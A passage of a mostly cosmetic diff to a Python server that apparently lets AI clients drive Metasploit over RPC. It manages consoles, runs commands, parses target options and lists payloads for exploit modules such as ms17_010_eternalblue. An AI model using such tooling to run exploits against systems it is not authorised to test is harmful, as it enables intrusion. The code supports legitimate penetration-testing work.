f"{MSF_SERVER}:{MSF_PORT_STR}", "ssl": MSF_SSL_STR, - "message": f"Unexpected error: {e}" + "message": f"Unexpected error: {e}", } + @contextlib.asynccontextmanager async def get_msf_console() -> MsfConsole: """ Async context manager for creating and reliably destroying an MSF console. """ - client = get_msf_client() # Raises ConnectionError if not initialized + client = get_msf_client() # Raises ConnectionError if not initialized console_object: Optional[MsfConsole] = None console_id_str: Optional[str] = None try: @@ -656,21 +706,23 @@ async def get_msf_console() -> MsfConsole: console_object = await asyncio.to_thread(lambda: client.consoles.console()) # Get ID using .cid attribute - if hasattr(console_object, 'cid'): - console_id_val = getattr(console_object, 'cid') + if hasattr(console_object, "cid"): + console_id_val = getattr(console_object, "cid") console_id_str = str(console_id_val) if console_id_val is not None else None if not console_id_str: raise ValueError("Console object created, but .cid attribute is empty or None.") logger.info(f"MSF console created (ID: {console_id_str})") # Read initial prompt/banner to clear buffer and ensure readiness - await asyncio.sleep(0.2) # Short delay for prompt to appear + await asyncio.sleep(0.2) # Short delay for prompt to appear initial_read = await asyncio.to_thread(lambda: console_object.read()) logger.debug(f"Initial console read (clearing buffer): {initial_read}") - yield console_object # Yield the ready console object + yield console_object # Yield the ready console object else: # This case should ideally not happen if .console() works as expected - logger.error(f"client.consoles.console() did not return expected MsfConsole object with .cid. Got type: {type(console_object)}") + logger.error( + f"client.consoles.console() did not return expected MsfConsole object with .cid. Got type: {type(console_object)}" + ) raise MsfRpcError(f"Unexpected result from console creation: {console_object}") except MsfRpcError as e: @@ -681,7 +733,7 @@ async def get_msf_console() -> MsfConsole: raise RuntimeError(f"Unexpected error during console operation: {e}") from e finally: # Destruction Logic - if console_id_str and _msf_client_instance: # Check client still exists + if console_id_str and _msf_client_instance: # Check client still exists try: logger.info(f"Attempting to destroy Metasploit console (ID: {console_id_str})...") # Use lambda to avoid potential issues with capture @@ -693,15 +745,18 @@ async def get_msf_console() -> MsfConsole: # Log error but don't raise exception during cleanup logger.error(f"Error destroying MSF console {console_id_str}: {e}") elif console_object and not console_id_str: - logger.warning("Console object created but no valid ID obtained, cannot explicitly destroy.") + logger.warning( + "Console object created but no valid ID obtained, cannot explicitly destroy." + ) # else: logger.debug("No console ID obtained, skipping destruction.") + async def run_command_safely( - console: MsfConsole, - cmd: str, + console: MsfConsole, + cmd: str, execution_timeout: Optional[int] = None, inactivity_timeout: Optional[int] = None, - exit_terms_regexes: Optional[List[re.Pattern]] = None + exit_terms_regexes: Optional[List[re.Pattern]] = None, ) -> str: """ Safely run a command on a Metasploit console and return the output. @@ -719,14 +774,14 @@ async def run_command_safely( Returns: The command output as a string. """ - if not (hasattr(console, 'write') and hasattr(console, 'read')): + if not (hasattr(console, "write") and hasattr(console, "read")): logger.error(f"Console object {type(console)} lacks required methods (write, read).") raise TypeError("Unsupported console object type for command execution.") try: logger.debug(f"Running console command: {cmd}") write_start_time = asyncio.get_event_loop().time() - await asyncio.to_thread(lambda: console.write(cmd + '\n')) + await asyncio.to_thread(lambda: console.write(cmd + "\n")) write_duration = asyncio.get_event_loop().time() - write_start_time logger.debug(f"Console write completed for '{cmd}' in {write_duration:.3f}s") @@ -735,7 +790,7 @@ async def run_command_safely( logger.debug(f"Skipping console output wait for 'set' command: {cmd}") return "" - output_buffer = b"" # Read as bytes to handle potential encoding issues and prompt matching + output_buffer = b"" # Read as bytes to handle potential encoding issues and prompt matching start_time = asyncio.get_event_loop().time() # Determine overall timeout and inactivity timeout independently. @@ -745,9 +800,9 @@ async def run_command_safely( else DEFAULT_CONSOLE_READ_TIMEOUT ) read_inactivity_timeout = inactivity_timeout or read_timeout - check_interval = 0.1 # Seconds between reads + check_interval = 0.1 # Seconds between reads last_data_time = start_time - + # Exit terms checking: short idle period before checking for exit terms exit_terms_idle_timeout = 2.0 # Wait 2 seconds of inactivity before checking exit terms exit_terms_checked = False # Track if we've already checked and matched exit terms @@ -758,10 +813,12 @@ async def run_command_safely( total_chunks_read = 0 total_bytes_read = 0 timed_out = False # Track if we exit due to timeout - - logger.info(f"Starting console command execution: '{cmd}' (timeout: {read_timeout}s, inactivity: {read_inactivity_timeout}s)" - f"{', with exit terms checking' if exit_terms_regexes else ''}") - + + logger.info( + f"Starting console command execution: '{cmd}' (timeout: {read_timeout}s, inactivity: {read_inactivity_timeout}s)" + f"{', with exit terms checking' if exit_terms_regexes else ''}" + ) + while True: await asyncio.sleep(check_interval) current_time = asyncio.get_event_loop().time() @@ -769,88 +826,119 @@ async def run_command_safely( # Progress logging for long-running operations if (current_time - last_progress_time) >= progress_interval: - logger.info(f"Console command '{cmd}' still running... " - f"Elapsed: {elapsed_time:.1f}s/{read_timeout}s, " - f"Chunks read: {total_chunks_read}, " - f"Bytes received: {total_bytes_read}, " - f"Last activity: {current_time - last_data_time:.1f}s ago") + logger.info( + f"Console command '{cmd}' still running... " + f"Elapsed: {elapsed_time:.1f}s/{read_timeout}s, " + f"Chunks read: {total_chunks_read}, " + f"Bytes received: {total_bytes_read}, " + f"Last activity: {current_time - last_data_time:.1f}s ago" + ) last_progress_time = current_time # Check overall timeout first if elapsed_time > read_timeout: - logger.warning(f"Overall timeout ({read_timeout}s) reached for console command '{cmd}'. " - f"Total chunks: {total_chunks_read}, bytes: {total_bytes_read}") - timed_out = True - break + logger.warning( + f"Overall timeout ({read_timeout}s) reached for console command '{cmd}'. " + f"Total chunks: {total_chunks_read}, bytes: {total_bytes_read}" + ) + timed_out = True + break # Read available data try: chunk_result = await asyncio.to_thread(lambda: console.read()) # console.read() returns {'data': '...', 'prompt': '...', 'busy': bool} - chunk_data = chunk_result.get('data', '').encode('utf-8', errors='replace') # Ensure bytes - is_busy = chunk_result.get('busy', False) + chunk_data = chunk_result.get("data", "").encode( + "utf-8", errors="replace" + ) # Ensure bytes + is_busy = chunk_result.get("busy", False) # Handle the prompt - ensure it's bytes for pattern matching - prompt_str = chunk_result.get('prompt', '') - prompt_bytes = prompt_str.encode('utf-8', errors='replace') if isinstance(prompt_str, str) else prompt_str - + prompt_str = chunk_result.get("prompt", "") + prompt_bytes = ( + prompt_str.encode("utf-8", errors="replace") + if isinstance(prompt_str, str) + else prompt_str + ) + # Enhanced debug logging for timeout analysis if chunk_data or is_busy or prompt_str: - logger.debug(f"Console read result for '{cmd}' at {elapsed_time:.1f}s: " - f"data_len={len(chunk_data)}, busy={is_busy}, prompt='{prompt_str[:50]}...' if len(prompt_str) > 50 else prompt_str") - + logger.debug( + f"Console read result for '{cmd}' at {elapsed_time:.1f}s: " + f"data_len={len(chunk_data)}, busy={is_busy}, prompt='{prompt_str[:50]}...' if len(prompt_str) > 50 else prompt_str" + ) + # Log console busy state periodically if is_busy and (current_time - last_progress_time) >= (progress_interval - 1): - logger.debug(f"Console reports busy=True for command '{cmd}' at {elapsed_time:.1f}s") - + logger.debug( + f"Console reports busy=True for command '{cmd}' at {elapsed_time:.1f}s" + ) + except Exception as read_err: - logger.warning(f"Error reading from console during command '{cmd}' at {elapsed_time:.1f}s: {read_err}") - await asyncio.sleep(0.5) # Wait a bit before retrying or timing out + logger.warning( + f"Error reading from console during command '{cmd}' at {elapsed_time:.1f}s: {read_err}" + ) + await asyncio.sleep(0.5) # Wait a bit before retrying or timing out continue if chunk_data: chunk_size = len(chunk_data) total_chunks_read += 1 total_bytes_read += chunk_size - + # Log first data received if total_chunks_read == 1: - logger.debug(f"First data received for '{cmd}' after {elapsed_time:.3f}s: {chunk_size} bytes") - + logger.debug( + f"First data received for '{cmd}' after {elapsed_time:.3f}s: {chunk_size} bytes" + ) + # Log significant data chunks if chunk_size > 100: - logger.debug(f"Received significant data chunk for '{cmd}': {chunk_size} bytes " - f"(total: {total_bytes_read} bytes in {total_chunks_read} chunks)") - + logger.debug( + f"Received significant data chunk for '{cmd}': {chunk_size} bytes " + f"(total: {total_bytes_read} bytes in {total_chunks_read} chunks)" + ) + output_buffer += chunk_data - last_data_time = current_time # Reset inactivity timer + last_data_time = current_time # Reset inactivity timer logger.info(f"Collected output: {output_buffer}") # Primary Completion Check: Did we receive the prompt? if prompt_bytes and MSF_PROMPT_RE.search(prompt_bytes): - logger.info(f"Detected MSF prompt in console.read() result for '{cmd}' after {elapsed_time:.1f}s. Command complete.") - break + logger.info( + f"Detected MSF prompt in console.read() result for '{cmd}' after {elapsed_time:.1f}s. Command complete." + ) + break # Secondary Check: Does the buffered output end with the prompt? # Needed if prompt wasn't in the last read chunk but arrived earlier. if MSF_PROMPT_RE.search(output_buffer): - logger.info(f"Detected MSF prompt at end of buffer for '{cmd}' after {elapsed_time:.1f}s. Command complete.") - break + logger.info( + f"Detected MSF prompt at end of buffer for '{cmd}' after {elapsed_time:.1f}s. Command complete." + ) + break if MODULE_COMPLETE_RE.match(output_buffer): - logger.info(f"Detected module complete in output buffer for '{cmd}' after {elapsed_time:.1f}s. Command complete.") - break - - + logger.info( + f"Detected module complete in output buffer for '{cmd}' after {elapsed_time:.1f}s. Command complete." + ) + break # Check for exit terms after a short idle period (when we have output but no new data) - if exit_terms_regexes and not exit_terms_checked and len(output_buffer) > 0 and (current_time - last_data_time) >= exit_terms_idle_timeout: + if ( + exit_terms_regexes + and not exit_terms_checked + and len(output_buffer) > 0 + and (current_time - last_data_time) >= exit_terms_idle_timeout + ): inactivity_duration = current_time - last_data_time # Check if any exit term matches the current output for exit_regex in exit_terms_regexes: if exit_regex.search(output_buffer): - logger.info(f"Exit term matched for command '{cmd}' after {elapsed_time:.1f}s " - f"(inactive for {inactivity_duration:.1f}s). Returning early.") + logger.info( + f"Exit term matched for command '{cmd}' after {elapsed_time:.1f}s " + f"(inactive for {inactivity_duration:.1f}s). Returning early." + ) exit_terms_checked = True break if exit_terms_checked: @@ -859,33 +947,48 @@ async def run_command_safely( # Fallback Completion Check: Inactivity timeout elif (current_time - last_data_time) > read_inactivity_timeout: inactivity_duration = current_time - last_data_time - logger.info(f"Console inactivity timeout ({read_inactivity_timeout}s) reached for command '{cmd}' " - f"after {elapsed_time:.1f}s total. No data for {inactivity_duration:.1f}s. Assuming complete.") + logger.info( + f"Console inactivity timeout ({read_inactivity_timeout}s) reached for command '{cmd}' " + f"after {elapsed_time:.1f}s total. No data for {inactivity_duration:.1f}s. Assuming complete." + ) break # Decode the final buffer - final_output = output_buffer.decode('utf-8', errors='replace').strip() + final_output = output_buffer.decode("utf-8", errors="replace").strip() total_execution_time = asyncio.get_event_loop().time() - start_time - + # Handle timeout vs normal completion if timed_out: - logger.error(f"Console command '{cmd}' TIMED OUT after {total_execution_time:.1f}s (limit: {read_timeout}s). " - f"Read {total_chunks_read} chunks, {total_bytes_read} bytes, " - f"output length: {len(final_output)} chars") - logger.debug(f"Timeout output for '{cmd}' (length {len(final_output)}):\n{final_output[:500]}{'...' if len(final_output) > 500 else ''}") + logger.error( + f"Console command '{cmd}' TIMED OUT after {total_execution_time:.1f}s (limit: {read_timeout}s). " + f"Read {total_chunks_read} chunks, {total_bytes_read} bytes, " + f"output length: {len(final_output)} chars" + ) + logger.debug( + f"Timeout output for '{cmd}' (length {len(final_output)}):\n{final_output[:500]}{'...' if len(final_output) > 500 else ''}" + ) return f"TIMEOUT_ERROR: Command '{cmd}' exceeded {read_timeout}s timeout after {total_execution_time:.1f}s. Output: {final_output}" else: - logger.info(f"Console command '{cmd}' completed successfully in {total_execution_time:.1f}s. " - f"Read {total_chunks_read} chunks, {total_bytes_read} bytes, " - f"output length: {len(final_output)} chars") - logger.debug(f"Final output for '{cmd}' (length {len(final_output)}):\n{final_output[:500]}{'...' if len(final_output) > 500 else ''}") + logger.info( + f"Console command '{cmd}' completed successfully in {total_execution_time:.1f}s. " + f"Read {total_chunks_read} chunks, {total_bytes_read} bytes, " + f"output length: {len(final_output)} chars" + ) + logger.debug( + f"Final output for '{cmd}' (length {len(final_output)}):\n{final_output[:500]}{'...' if len(final_output) > 500 else ''}" + ) return final_output except Exception as e: elapsed_time = asyncio.get_event_loop().time() - start_time - logger.exception(f"Error executing console command '{cmd}' after {elapsed_time:.1f}s. " - f"Chunks read: {total_chunks_read}, bytes: {total_bytes_read}") - raise RuntimeError(f"Failed executing console command '{cmd}' after {elapsed_time:.1f}s: {e}") from e + logger.exception( + f"Error executing console command '{cmd}' after {elapsed_time:.1f}s. " + f"Chunks read: {total_chunks_read}, bytes: {total_bytes_read}" + ) + raise RuntimeError( + f"Failed executing console command '{cmd}' after {elapsed_time:.1f}s: {e}" + ) from e + from mcp.server.session import ServerSession @@ -901,10 +1004,13 @@ async def run_command_safely( async def _received_request(self, *args, **kwargs): # Add diagnostic logging to understand request flow import inspect + frame = inspect.currentframe() try: # Log when request is received - logger.debug(f"[SSE_DEBUG] _received_request called with args={len(args)} kwargs={list(kwargs.keys())}") + logger.debug( + f"[SSE_DEBUG] _received_request called with args={len(args)} kwargs={list(kwargs.keys())}" + ) result = await old__received_request(self, *args, **kwargs) logger.debug(f"[SSE_DEBUG] _received_request completed successfully") return result @@ -937,50 +1043,51 @@ async def _received_request(self, *args, **kwargs): # --- Internal Helper Functions --- + def _parse_options_gracefully(options: Union[Dict[str, Any], str, None]) -> Dict[str, Any]: """ Gracefully parse options from different formats. - + Handles: - Dict format (correct): {"key": "value", "key2": "value2"} - Comma-separated string format: "key=value,key=value" - Space-separated string format: "value key=value key2=value2" (first value without '=' is treated as RHOSTS) - None: returns empty dict - + Args: options: Options in dict format, string format, or None - + Returns: Dictionary of parsed options - + Raises: ValueError: If string format is malformed """ if options is None: return {} - + if isinstance(options, dict): # Already correct format return options - + if isinstance(options, str): # Handle string format options if not options.strip(): return {} - + logger.info(f"Converting string format options to dict: {options}") parsed_options = {} - + try: # Determine if we should use comma-separated or space-separated parsing # If string contains commas, prefer comma-separated (backward compatibility) # Otherwise, use space-separated parsing - has_commas = ',' in options - has_spaces = ' ' in options - + has_commas = "," in options + has_spaces = " " in options + if has_commas: # Comma-separated format: "key=value,key2=value2" - tokens = [pair.strip() for pair in options.split(',') if pair.strip()] + tokens = [pair.strip() for pair in options.split(",") if pair.strip()] elif has_spaces: # Space-separated format: "value key=value key2=value2" # Split by spaces, but preserve quoted values @@ -988,11 +1095,11 @@ def _parse_options_gracefully(options: Union[Dict[str, Any], str, None]) -> Dict current_token = "" in_quotes = False quote_char = None - + i = 0 while i < len(options): char = options[i] - if char in ('"', "'") and (i == 0 or options[i-1] != '\\'): + if char in ('"', "'") and (i == 0 or options[i - 1] != "\\"): if not in_quotes: in_quotes = True quote_char = char @@ -1003,70 +1110,74 @@ def _parse_options_gracefully(options: Union[Dict[str, Any], str, None]) -> Dict current_token += char else: current_token += char - elif char == ' ' and not in_quotes: + elif char == " " and not in_quotes: if current_token.strip(): tokens.append(current_token.strip()) current_token = "" else: current_token += char i += 1 - + # Add the last token if current_token.strip(): tokens.append(current_token.strip()) else: # Single token - treat as key=value or raise error tokens = [options.strip()] - + # Track if we've seen the first value without '=' (for RHOSTS in space-separated format) first_value_assigned = False - + for token in tokens: if not token: continue - - if '=' in token: + + if "=" in token: # Key=value pair - key, value = token.split('=', 1) # Split only on first '=' + key, value = token.split("=", 1) # Split only on first '=' key = key.strip() value = value.strip() - + # Validate key is not empty if not key: raise ValueError(f"Invalid option format: '{token}' (empty key)") - + # Remove quotes if they wrap the entire value - if (value.startswith('"') and value.endswith('"')) or \ - (value.startswith("'") and value.endswith("'")): + if (value.startswith('"') and value.endswith('"')) or ( + value.startswith("'") and value.endswith("'") + ): value = value[1:-1] - + # Basic type conversion - if value.lower() in ('true', 'false'): - value = value.lower() == 'true' + if value.lower() in ("true", "false"): + value = value.lower() == "true" elif value.isdigit(): try: value = int(value) except ValueError: pass # Keep as string if conversion fails - + parsed_options[key] = value else: # Value without '=' - check if it looks like a malformed key=value pair # If it starts with letters that look like a key (e.g., "LHOST192.168.1.100"), it's an error # Otherwise, treat as RHOSTS value token_stripped = token.strip() - + # Check if it looks like a malformed key=value (starts with letters followed by numbers/IP) # Pattern: starts with 2+ letters/underscores, then has numbers/dots without space # This catches cases like "LHOST192.168.1.100" but not "192.168.1.100" - if re.match(r'^[A-Za-z_]{2,}[A-Za-z0-9_]*[0-9]', token_stripped) and not has_spaces: + if ( + re.match(r"^[A-Za-z_]{2,}[A-Za-z0-9_]*[0-9]", token_stripped) + and not has_spaces + ): # Looks like "LHOST192.168.1.100" - malformed, should be "LHOST=192.168.1.100" raise ValueError(f"Invalid option format: '{token}' (missing '=')") - + # Treat as RHOSTS value if not first_value_assigned: # First value without '=' is typically RHOSTS (for both single value and space-separated) - parsed_options['RHOSTS'] = token_stripped + parsed_options["RHOSTS"] = token_stripped first_value_assigned = True else: # In comma-separated format, all tokens must have '=' @@ -1074,21 +1185,28 @@ def _parse_options_gracefully(options: Union[Dict[str, Any], str, None]) -> Dict raise ValueError(f"Invalid option format: '{token}' (missing '=')") # In space-separated format, if we already assigned RHOSTS, this is an error else: - raise ValueError(f"Invalid option format: '{token}' (missing '=' and RHOSTS already assigned)") - + raise ValueError( + f"Invalid option format: '{token}' (missing '=' and RHOSTS already assigned)" + ) + logger.info(f"Successfully converted string options to dict: {parsed_options}") return parsed_options - + except Exception as e: if isinstance(e, ValueError): raise - raise ValueError(f"Failed to parse options string '{options}': {e}. Expected format: 'key=value,key2=value2' or 'value key=value key2=value2' or dict {{'key': 'value'}}") - + raise ValueError( + f"Failed to parse options string '{options}': {e}. Expected format: 'key=value,key2=value2' or 'value key=value key2=value2' or dict {{'key': 'value'}}" + ) + # For any other type, try to convert to dict try: return dict(options) except (TypeError, ValueError) as e: - raise ValueError(f"Options must be a dictionary or string format 'key=value,key2=value2' or 'value key=value key2=value2'. Got {type(options)}: {options}") + raise ValueError( + f"Options must be a dictionary or string format 'key=value,key2=value2' or 'value key=value key2=value2'. Got {type(options)}: {options}" + ) + async def _get_compatible_payloads_console(exploit_module: str) -> List[str]: """ @@ -1097,73 +1215,76 @@ async def _get_compatible_payloads_console(exploit_module: str) -> List[str]: """ client = get_msf_client() console_id = None - + try: # Create a console logger.debug(f"Creating console to get compatible payloads for {exploit_module}") console = await asyncio.wait_for( - asyncio.to_thread(lambda: client.consoles.console()), - timeout=RPC_CALL_TIMEOUT + asyncio.to_thread(lambda: client.consoles.console()), timeout=RPC_CALL_TIMEOUT ) console_id = console.cid logger.debug(f"Created console {console_id} for payload listing") - + # Determine full module path - if '/' in exploit_module and not exploit_module.startswith('exploit/'): + if "/" in exploit_module and not exploit_module.startswith("exploit/"): full_path = f"exploit/{exploit_module}" else: - full_path = exploit_module if exploit_module.startswith('exploit/') else f"exploit/{exploit_module}" - + full_path = ( + exploit_module + if exploit_module.startswith("exploit/") + else f"exploit/{exploit_module}" + ) + # Use the exploit module logger.debug(f"Using exploit module: {full_path}") await asyncio.to_thread(lambda: console.write(f"use {full_path}")) await asyncio.sleep(0.5) - + # Get output to clear buffer await asyncio.to_thread(lambda: console.read()) await asyncio.sleep(0.2) - + # Run show payloads logger.debug("Running 'show payloads' command") await asyncio.to_thread(lambda: console.write("show payloads")) await asyncio.sleep(1.0) # Give time for command to execute - + # Read the output output = await asyncio.to_thread(lambda: console.read()) - output_str = output.get('data', '') if isinstance(output, dict) else str(output) - + output_str = output.get("data", "") if isinstance(output, dict) else str(output) + logger.debug(f"Show payloads output length: {len(output_str)} chars") - + # Parse the output to extract payload names payloads = [] in_payload_section = False - - for line in output_str.split('\n'): + + for line in output_str.split("\n"): line = line.strip() - + # Detect start of payload list - if 'Compatible Payloads' in line or 'Name' in line and 'Disclosure Date' in line: + if "Compatible Payloads" in line or "Name" in line and "Disclosure Date" in line: in_payload_section = True continue - + # Skip separator lines - if line.startswith('===') or line.startswith('---') or line.startswith('#'): + if line.startswith("===") or line.startswith("---") or line.startswith("#"): continue - + # Parse payload lines (format: " 0 payload/linux/x64/shell/reverse_tcp ...") if in_payload_section and line: # Look for lines with payload/ prefix parts = line.split() for part in parts: - if part.startswith('payload/') and '/' in part: + if part.startswith("payload/") and "/" in part: # Extract just the payload name (without payload/ prefix for internal use) - payload_name = part[8:] if part.startswith('payload/') else part + payload_name = part[8:] if part.startswith("payload/") else part payloads.append(payload_name) break - + logger.info(f"Extracted {len(payloads)} compatible payloads from console output") return payloads - + except Exception as e: logger.error(f"Error getting compatible payloads via console: {e}") return [f"Error: {e}"] @@ -1176,60 +1297,83 @@ async def _get_compatible_payloads_console(exploit_module: str) -> List[str]: except Exception as cleanup_err: logger.warning(f"Could not destroy console {console_id}: {cleanup_err}") -async def _find_similar_modules(module_type: str, module_name: str, max_suggestions: int = 5) -> List[str]: + +async def _find_similar_modules( + module_type: str, module_name: str, max_suggestions: int = 5 +) -> List[str]: """ Find similar module names to suggest when a module isn't found. - + Extracts keywords from the module name and searches available modules. Returns up to max_suggestions matching modules. """ try: client = get_msf_client() - + # Extract search terms from the module name # Split by '/' and '_' to get individual terms - parts = module_name.replace('_', '/').split('/') + parts = module_name.replace("_", "/").split("/") # Filter out common/generic terms and keep meaningful ones - generic_terms = {'exploit', 'payload', 'auxiliary', 'post', 'scanner', 'admin', - 'multi', 'generic', 'cmd', 'x86', 'x64', 'linux', 'windows', - 'unix', 'osx', 'freebsd', 'solaris', 'reverse', 'bind', 'staged', - 'stageless', 'http', 'https', 'tcp', 'udp'} + generic_terms = { + "exploit", + "payload", + "auxiliary", + "post", + "scanner", + "admin", + "multi", + "generic", + "cmd", + "x86", + "x64", + "linux", + "windows", + "unix", + "osx", + "freebsd", + "solaris", + "reverse", + "bind", + "staged", + "stageless", + "http", + "https", + "tcp", + "udp", + } search_terms = [p.lower() for p in parts if len(p) > 2 and p.lower() not in generic_terms] - + if not search_terms: # Fall back to the last part of the path search_terms = [parts[-1].lower()] if parts else [] - + if not search_terms: return [] - + # Get the list of modules for this type module_list: List[str] = [] try: - if module_type == 'exploit': + if module_type == "exploit": module_list = await asyncio.wait_for( asyncio.to_thread(lambda: client.modules.exploits), - timeout=5.0 # Short timeout for suggestions + timeout=5.0, # Short timeout for suggestions ) - elif module_type == 'payload': + elif module_type == "payload": module_list = await asyncio.wait_for( - asyncio.to_thread(lambda: client.modules.payloads), - timeout=5.0 + asyncio.to_thread(lambda: client.modules.payloads), timeout=5.0 ) - elif module_type == 'auxiliary': + elif module_type == "auxiliary": module_list = await asyncio.wait_for( - asyncio.to_thread(lambda: client.modules.auxiliary), - timeout=5.0 + asyncio.to_thread(lambda: client.modules.auxiliary), timeout=5.0 ) - elif module_type == 'post': + elif module_type == "post": module_list = await asyncio.wait_for( - asyncio.to_thread(lambda: client.modules.post), - timeout=5.0 + asyncio.to_thread(lambda: client.modules.post), timeout=5.0 ) except asyncio.TimeoutError: logger.debug(f"Timeout getting module list for suggestions") return [] - + # Score modules by how many search terms they match scored_modules: List[tuple] = [] for mod in module_list: @@ -1238,14 +1382,14 @@ async def _find_similar_modules(module_type: str, module_name: str, max_suggesti matches = sum(1 for term in search_terms if term in mod_lower) if matches > 0: scored_modules.append((matches, mod)) - + # Sort by score (descending) and take top suggestions scored_modules.sort(key=lambda x: (-x[0], x[1])) # Sort by score desc, then name asc suggestions = [f"{module_type}/{mod}" for _, mod in scored_modules[:max_suggestions]] - + logger.debug(f"Found {len(suggestions)} similar modules for '{module_name}': {suggestions}") return suggestions - + except Exception as e: logger.debug(f"Error finding similar modules: {e}") return [] @@ -1254,30 +1398,35 @@ async def _find_similar_modules(module_type: str, module_name: str, max_suggesti async def _get_module_object(module_type: str, module_name: str) -> Any: """Gets the MSF module object, handling potential path variations.""" client = get_msf_client() - base_module_name = module_name # Start assuming it's the base name - - if '/' in module_name: - parts = module_name.split('/') - - - if parts[0] in ('exploit', 'payload', 'post', 'auxiliary', 'encoder', 'nop'): - # Looks like full path, extract base name - base_module_name = '/'.join(parts[1:]) - if module_type != parts[0]: - logger.warning(f"Module type mismatch: expected '{module_type}', got path starting with '{parts[0]}'. Using provided type.") + base_module_name = module_name # Start assuming it's the base name + + if "/" in module_name: + parts = module_name.split("/") + + if parts[0] in ("exploit", "payload", "post", "auxiliary", "encoder", "nop"): + # Looks like full path, extract base name + base_module_name = "/".join(parts[1:]) + if module_type != parts[0]: + logger.warning( + f"Module type mismatch: expected '{module_type}', got path starting with '{parts[0]}'. Using provided type." + ) # Else: Assume it's like 'windows/smb/ms17_010_eternalblue' - already the base name - logger.debug(f"Attempting to retrieve module: client.modules.use('{module_type}', '{base_module_name}')") - + logger.debug( + f"Attempting to retrieve module: client.modules.use('{module_type}', '{base_module_name}')" + ) + # First, make a raw RPC call to check the response before pymetasploit3 tries to wrap it. # This allows us to capture the actual Metasploit response for better error messages. try: # The RPC call that pymetasploit3 makes internally rpc_response = await asyncio.to_thread( - lambda: client.call('module.info', [module_type, base_module_name]) + lambda: client.call("module.info", [module_type, base_module_name]) + ) + logger.debug( + f"Raw RPC response for module.info({module_type}, {base_module_name}): {rpc_response}" ) - logger.debug(f"Raw RPC response for module.info({module_type}, {base_module_name}): {rpc_response}") - + # Check if Metasploit returned an error or unexpected response if isinstance(rpc_response, bool): # Metasploit returned False - module not found or incompatible @@ -1286,36 +1435,42 @@ async def _get_module_object(module_type: str, module_name: str) -> Any: f"Metasploit returned: {rpc_response}. " f"Verify the module name is correct and available in your Metasploit installation." ) - elif isinstance(rpc_response, dict) and rpc_response.get('error'): + elif isinstance(rpc_response, dict) and rpc_response.get("error"): # Metasploit returned an error dict - error_class = rpc_response.get('error_class', 'UnknownError') - error_message = rpc_response.get('error_message', 'No error message provided') - error_backtrace = rpc_response.get('error_backtrace', []) - + error_class = rpc_response.get("error_class", "UnknownError") + error_message = rpc_response.get("error_message", "No error message provided") + error_backtrace = rpc_response.get("error_backtrace", []) + # Check if this is a simple "Invalid Module" error (expected user error, not a bug) - is_invalid_module = 'Invalid Module' in error_message or error_class == 'Msf::RPC::Exception' - + is_invalid_module = ( + "Invalid Module" in error_message or error_class == "Msf::RPC::Exception" + ) + if is_invalid_module: # Log backtrace at DEBUG level only for invalid module errors if error_backtrace: - backtrace_str = '\n '.join(error_backtrace[:3]) - logger.debug(f"Metasploit backtrace for invalid module '{module_type}/{base_module_name}': {backtrace_str}") - + backtrace_str = "\n ".join(error_backtrace[:3]) + logger.debug( + f"Metasploit backtrace for invalid module '{module_type}/{base_module_name}': {backtrace_str}" + ) + # Find similar modules to suggest suggestions = await _find_similar_modules(module_type, base_module_name) suggestion_text = "" if suggestions: - suggestion_text = f"\n\nDid you mean one of these?\n - " + "\n - ".join(suggestions) - + suggestion_text = f"\n\nDid you mean one of these?\n - " + "\n - ".join( + suggestions + ) + # Raise clean exception without backtrace in message raise InvalidModuleError( module_type=module_type, module_name=base_module_name, - message=f"Module '{module_type}/{base_module_name}' not found in Metasploit.{suggestion_text}" + message=f"Module '{module_type}/{base_module_name}' not found in Metasploit.{suggestion_text}", ) else: # For other errors, include more detail (these may indicate actual bugs) - backtrace_str = '\n '.join(error_backtrace[:3]) if error_backtrace else '' + backtrace_str = "\n ".join(error_backtrace[:3]) if error_backtrace else "" raise ValueError( f"Metasploit error loading module '{module_type}/{base_module_name}': " f"{error_class} - {error_message}" @@ -1327,41 +1482,49 @@ async def _get_module_object(module_type: str, module_name: str) -> Any: except Exception as info_err: # Log but continue - the module.info call might fail for valid modules in some cases logger.debug(f"module.info pre-check failed (may be okay): {info_err}") - + try: - module_obj = await asyncio.to_thread(lambda: client.modules.use(module_type, base_module_name)) + module_obj = await asyncio.to_thread( + lambda: client.modules.use(module_type, base_module_name) + ) logger.debug(f"Successfully retrieved module object for {module_type}/{base_module_name}") return module_obj except (MsfRpcError, KeyError) as e: # KeyError can be raised by pymetasploit3 if module not found error_str = str(e).lower() - if "unknown module" in error_str or "invalid module" in error_str or isinstance(e, KeyError): - logger.warning(f"Module '{module_type}/{base_module_name}' not found in Metasploit.") - - # Find similar modules to suggest - suggestions = await _find_similar_modules(module_type, base_module_name) - suggestion_text = "" - if suggestions: - suggestion_text = f"\n\nDid you mean one of these?\n - " + "\n - ".join(suggestions) - - raise InvalidModuleError( - module_type=module_type, - module_name=base_module_name, - message=f"Module '{module_type}/{base_module_name}' not found.{suggestion_text}" - ) from e + if ( + "unknown module" in error_str + or "invalid module" in error_str + or isinstance(e, KeyError) + ): + logger.warning(f"Module '{module_type}/{base_module_name}' not found in Metasploit.") + + # Find similar modules to suggest + suggestions = await _find_similar_modules(module_type, base_module_name) + suggestion_text = "" + if suggestions: + suggestion_text = f"\n\nDid you mean one of these?\n - " + "\n - ".join( + suggestions + ) + + raise InvalidModuleError( + module_type=module_type, + module_name=base_module_name, + message=f"Module '{module_type}/{base_module_name}' not found.{suggestion_text}", + ) from e else: - logger.error(f"MsfRpcError getting module {module_type}/{base_module_name}: {e}") - raise MsfRpcError(f"Error retrieving module '{module_name}': {e}") from e + logger.error(f"MsfRpcError getting module {module_type}/{base_module_name}: {e}") + raise MsfRpcError(f"Error retrieving module '{module_name}': {e}") from e except TypeError as e: # TypeError occurs when pymetasploit3 receives unexpected response format from RPC # e.g., "'bool' object is not subscriptable" when options dict is returned as boolean # Try to get more info from a direct RPC call try: options_response = await asyncio.to_thread( - lambda: client.call('module.options', [module_type, base_module_name]) + lambda: client.call("module.options", [module_type, base_module_name]) ) logger.debug(f"Raw module.options response: {options_response}") - + if isinstance(options_response, bool): raise ValueError( f"Module '{module_type}/{base_module_name}' failed to load. " @@ -1369,9 +1532,9 @@ async def _get_module_object(module_type: str, module_name: str) -> Any: f"This typically means the module does not exist or failed to initialize. " f"Verify the module path is correct." ) - elif isinstance(options_response, dict) and options_response.get('error'): - error_class = options_response.get('error_class', 'UnknownError') - error_message = options_response.get('error_message', 'No error message provided') + elif isinstance(options_response, dict) and options_response.get("error"): + error_class = options_response.get("error_class", "UnknownError") + error_message = options_response.get("error_message", "No error message provided") raise ValueError( f"Metasploit error for module 